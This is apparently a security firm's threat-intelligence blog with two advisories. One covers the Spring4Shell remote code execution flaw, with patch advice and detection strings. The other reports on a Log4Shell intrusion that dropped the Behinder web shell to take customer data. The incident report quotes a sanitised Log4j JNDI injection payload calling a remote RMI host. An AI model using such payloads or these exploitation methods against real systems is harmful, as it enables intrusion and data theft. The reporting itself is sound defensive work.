Thousands of organisations in Hong Kong and Macau impacted by Spring Core Remote Code Execution Vulnerability

Impacted organisations include financial services and critical infrastructure providers

On 29 March 2022, security researchers posted a now-removed screenshot to Twitter purporting to show a trivially-exploited unauthenticated remote code execution (RCE) vulnerability in the Spring Framework, one of the most popular Java frameworks in use globally.[1] While the screenshot did not include a proof of concept or public details, Proof of Concepts dubbed “SpringShell” or “Spring4Shell” have since emerged since 30 March 2022 and have been validated by DarkLab to be working exploits.[2]

The Spring Framework is among the most widely used lightweight open source framework for Java, as a result of its design philosophy that enables developers to focus on business logic, while simplifying the development cycle of Java enterprise applications.[3] Given its widespread use globally, the nature of the vulnerability being more general such that there may be unknown and additional ways of exploiting it, the impact of this vulnerability is compounded significantly and would be in excess of the impact observed for infamous vulnerabilities such as Log4Shell (CVE-2021-44228).

Technical Analysis

Based on analysis on consolidated data source and technical analysis, DarkLab has been able to recreate the attack in a simulated environment. In order to exploit this vulnerability, an unauthenticated attacker must send a crafted HTTP request to trigger the mechanisms through parameter binding functions of the framework to achieve arbitrary file write, with calls to specific Java ‘classLoader’/’pipeline’ functions. It is likely that the Spring Framework does not handle these calls properly, allowing for arbitrary writing of the JSP web shell to the root directory of the server, which can then be interacted with for unauthenticated remote code execution.

Figure 1 – redacted screenshot of successful simulated exploitation of RCE vulnerability that landed us a JSP web shell at the backend server

DarkLab has been actively performing discovery using our proprietary PoC since 30 March 2022.  As a result of conducting the scan across all external facing applications in Hong Kong and Macau, we observed that over thousands of organisations – including financial services and critical infrastructure providers – are potentially vulnerable to the unauthenticated RCE vulnerability. At the time of writing, the scope of impacted organisations and the broader implications of exploitation are still being estimated and not fully known, as it depends on whether particular functions are used within the Spring application.[4] The general nature of the vulnerability implies there may be other still undiscovered methods to exploit it.

Probability of Exploitation by Threat Actors

Given that this is an unauthenticated RCE vulnerability in the widely-adopted Spring Framework, it is likely that it will present an attractive exploit for a variety of threat actors to weaponize and add to their arsenal for the purpose of obtaining initial access to unsuspecting victims’ systems.

Per DarkLab’s Deep and Dark Web monitoring, we observed on 29 March 2022 that English-speaking threat actors had exchanged messages via Telegram requesting for a working exploit code. While we are unable to ascertain with confidence whether they obtained this information through communication exchange, we observed clear intent from these threat actors to leverage the unauthenticated RCE vulnerability to perform malicious activities against a specific range of targets. This includes exfiltrating sensitive personally identifiable information from South Asian state-owned enterprises, which suggests that these threat actors have a more targeted mindset and are capable of directing their attention to the observed vulnerable organisations in Hong Kong and Macau should it align with their objectives.

While there has not been active exploitation in the wild for Spring4Shell, we posit that threat actors of various objectives – ranging from espionage to financial motivation – will continue to invest resources to explore how best to weaponise the vulnerability to achieve their goals. DarkLab will continue to monitor the Deep and Dark Web for more insights on their innovations and targeting and provide updates as necessary.

Conclusion

In summary, this unauthenticated RCE vulnerability in the widely-adopted Spring Core makes it an attractive proposition for threat actors of all profiles and motivations. In particular, the general nature of the vulnerability implies there may be other ways to exploit it. As a result, we expect threat actors of all motivations will invest resources to innovate new techniques; until then, detection opportunities will remain limited. This implies that teams should first rely on their defense-in-depth security controls to mitigate the known risks, while continuing to track the status of this vulnerability regarding preventive and detective controls as they become publicly available.

Recommendations

Organisations using affected versions 5.3.x should upgrade to 5.3.18+, while versions 5.2.x should upgrade to 5.2.20+. However, there are other workaround solutions for applications that cannot upgrade to the above versions as listed on the Spring blog post.[5]

From a detection perspective, exploitation attempts will require HTTP requests making use of Java classes. As such, filtering for strings such as “class.“, “Class.“, “.class.“, and “.Class.” may detect exploitation attempts.

In addition, we strongly urge our clients to consider the following:

  • Review their application stack to ascertain the scope of impact in preparation for the impending patch to be released.
  • Monitor the official Spring vulnerability report [6] or Git repository for further updates to the patch releases and apply accordingly.[7]
  • Leverage cyber threat intelligence to monitor for further updates to the threat landscape as a result of new information pertaining to the unauthenticated RCE vulnerability.

MITRE ATT&CK TTPs Leveraged

  • Initial Access: Exploit Public-Facing Application (T1190)
  • Execution: Exploitation for Client Execution (T1203)
  • Persistence: Server Software Component – Web Shell (T1505.003)
  • Command and Control: Application Layer Protocol – Web Protocols (T1071.001)

Feel free to contact us at [threatintel at darklab dot hk] for any further information.

A look Behinder the scene

Popular web shell exploited after Log4Shell for data theft

DarkLab recently responded to an incident affecting a Hong Kong organisation in the retail sector. Threat actors exploited the vulnerability CVE-2021-44228 in the Apache Log4j library, also known as Log4Shell, as initial infection vector (link). While we observed multiple attempted exploitation of Log4Shell against our Managed Security Service clients since its initial reveal on 10 December 2021, this was the first instance where we observed Log4Shell exploited in a prolonged network intrusion whose aim was not the typical crypto-mining or ransomware deployment for financial gain.

After initial access via Log4Shell, the actor dropped the Behinder web shell on the victim’s public-facing web servers. They exploited this access sporadically over a period of 51 days to retrieve additional information from backend database servers, which led to an increase in network activity and their subsequent discovery.

Initial access and web shell deployment  

Log4Shell is a software vulnerability in the Apache Log4j 2, a popular Java library to extend logging capabilities in applications. The vulnerability enables a remote attacker to gain the ability to execute arbitrary code and take control of a device running vulnerable versions of Apache Log4j 2.

In this instance, we observed that the adversary performed manual probing to identify an entry point in the login page of a victim’s public-facing web server. The adversary spent several hours repeatedly interacting with the vulnerable webpage. Such prolonged interaction with the identified target suggest attackers were not just running automated scripts like we have seen many opportunistic threat actors do, but rather had a degree of interest in compromising this victim.

# Entry in Nginx
x.x.x.x – – [1/Jan/2022:08:00:00 +0000] “POST /login/logincheck HTTP/1.1” 302 0 “[https:]

//www.victim.com/victim/login” “Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36” “x.x.x.x”
# Corresponding entry in Apache Log4j log
INFO | jvm 1 | main | 2022/01/01 08:00:00.130 | org.app.victim.UnhandledException: Invalid id ‘${jndi:rmi://x.x.x.x:1099/oHg5SJ}’
INFO | jvm 1 | main | 2022/01/01 08:00:00.433 | org.app.victim.UnhandledException: Invalid id ‘${jndi:rmi://x.x.x.x:1099/oHg5SJ}’

Fig 1 – log sample showing threat actors’ exploitation attempt. The sample has been sanitised to maintain the victim’s anonymity.

Once successfully exploited Log4Shell, they dropped the Behinder web shell (or “冰蝎”). Behinder is a versatile, multi-platform web shell created by a Chinese-speaking developer and popular within the hacking community in the same country (link). This web shell allows for AES-encrypted command and control (C2) traffic (link), which helped the threat actor maintain stealth and persistence in their victim’s environment.

Fig 2 – example of Behinder web shell’s user interface, likely used by the attacker to interact with the victim’s environment

The threat actor then performed enumeration of the internal system with the web shell and obtained the application credentials to access the backend application database. In this database the threat actor issued search queries via the web shell. These used terms revealing their interest in customer data such as customers’ names, email addresses and residential addresses. At this point, limited log availability did not allow us to determine the amount and nature of data accessed and exfiltrated.

Intruders interacted with the compromised servers via throwaway infrastructure. They used Vultr Virtual Private Servers (VPS) hosted in South Korea for several consecutive days, followed by VPS hosted in Japan in the subsequent network spikes. Adversaries typically rent VPS from service providers such as Vultr to host their C2 servers while masking the origin of their source IP addresses, thereby preventing security researchers to easily trace and link their infrastructure with previously known intrusions.

Who is Behinder the intrusion?  

We do not have enough evidence to confidently attribute the intrusion to a known threat actor group. The large amount of customers’ personally identifiable information the victim held was of likely interest to financially and politically-motivated threat actors alike.

However, the use the Behinder web shell strongly suggests a Chinese-speaking threat actor. We also noticed how a recent open source paper (link) on the Earth Lusca group describes the actor as using Vultr VPS infrastructure and dropping Behinder, which match our observed activity. Notably, Earth Lusca has also previously targeted Hong Kong organisations. However, this allegedly state-sponsored group routinely exploits malware like Winnti and Cobalt Strike which we have not seen in this incident. This, and the relatively generic TTPs observed, hinders any confident attribution assessment.

Recommendations

  • Echoing our 2022 predictions advice, organisations should profile their attack surface to understand services open, technologies used, and known vulnerabilities. Patching programmes should enable a threat-based prioritisation of missing security patches and facilitate rapid deployment of critical security patches within aggressive timeframes.
  • Build a robust enterprise security architecture with layered defense to address potential security risks to critical assets (i.e., data, infrastructure, applications).
  • Enable security audit logs to ensure maximum visibility on existing security monitoring. In particular, ensure that logs’ retention period is sufficient to support after-the-fact investigations of potential incidents.
  • Implement specific mitigations against Log4Shell and related Log4j-related vulnerabilities including blocking specific outbound Transmission Control Protocol (TCP) and User Datagram Protocol (UDP) network traffic

MITRE ATT&CK TTPs Leveraged

  • Reconnaissance: Active Scanning (T1595)
  • Initial Access: Exploit Public-Facing Application (T1190)
  • Persistence: Server Software Component – Web Shell (T1505.003)
  • Discovery: File and Directory Discovery (T1083)
  • Discovery: Network Service Scanning (T1046)
  • Collection: Data from Local System (T1005)
  • Command and Control: Application Layer Protocol – Web Protocols (T1071.001)
  • Command and Control: Encrypted Channel – Symmetric Cryptography (T1573.001)
  • Exfiltration: Exfiltration Over C2 Channel (T1041)

Indicators of Compromise (IOCs)

Feel free to contact us at [threatintel at darklab dot hk] for the full set of Indicators of Compromise (IOCs).